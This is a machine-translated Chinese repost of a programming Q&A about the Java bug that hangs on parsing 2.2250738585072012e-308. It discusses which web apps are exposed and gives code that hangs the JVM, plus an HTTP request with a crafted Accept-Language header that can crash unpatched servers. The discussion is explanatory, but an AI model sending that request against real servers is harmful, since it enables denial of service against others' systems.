java – 哪种类型的webapps可以真实地受到浮动bug的影响?

一个简单的方法来完全锁定很多JVM:
class runhang {
public static void main(String[] args) {
  System.out.println("Test:");
  double d = Double.parseDouble("2.2250738585072012e-308");
  System.out.println("Value: " + d);
 }
}

或者,挂起编译器:

class compilehang {
public static void main(String[] args) {
  double d = 2.2250738585072012e-308;
  System.out.println("Value: " + d);
 }
}

如下所述:http://www.exploringbinary.com/java-hangs-when-converting-2-2250738585072012e-308/

我的问题很简单:你知道哪种精心设计的网络应用程序可以被现实的影响?

换句话说:攻击者可以使用哪种类型的webapps使用已知的弱点来执行拒绝服务?

这是坏的,这是非常糟糕的.但除了使用浮点数进行货币计算的程序员,我看不到有许多Java支持的网站可能会崩溃.

我可以看到玩具科学小苹果是候选人,但除此之外…

这是一个阻塞线程的线程(在Linux上使用“kill -3”):

"main" prio=1 tid=0x09ab8a10 nid=0x57e9 runnable [0xbfbde000..0xbfbde728]
        at sun.misc.fdbigInt.mult(FloatingDecimal.java:2617)
        at sun.misc.FloatingDecimal.multPow52(FloatingDecimal.java:158)
        at sun.misc.FloatingDecimal.doubleValue(FloatingDecimal.java:1510)
        at java.lang.Double.parseDouble(Double.java:482)

编辑

JVM锁定在这里

java版“1.5.0_10”
Java(TM)2运行环境标准版(build 1.5.0_10-b03)
Java HotSpot(TM)服务器虚拟机(构建1.5.0_10-b03,混合模式)

java版本“1.6.0_17”
Java(TM)SE运行时环境(build 1.6.0_17-b04)
Java HotSpot(TM)服务器虚拟机(构建14.3-b01,混合模式)

解决方法

许多Web服务器使用Double.parse解析部分HTTP头,所以我们在这里处理基础架构(除了在容器中运行的应用程序的任何问题).您浏览的二进制博客评论链接到以下为例:
GET / HTTP/1.1
Host: myhost
Connection: keep-alive
Accept-Language: en-us;q=2.2250738585072012e-308

如果请求所针对的servlet调用任何本地化API(然后尝试解析语言头),则上述将使服务器关闭.

所以是的,这是一个很大的问题.攻击面相当大,后果相当高.

相关文章

应用场景 C端用户提交工单、工单创建完成之后、会发布一条工...
线程类,设置有一个公共资源 package cn.org.chris.concurre...
Java中的数字(带有0前缀和字符串)
在Java 9中使用JLink的目的是什么?
Java Stream API Filter(过滤器)
在Java中找到正数和负数数组元素的数量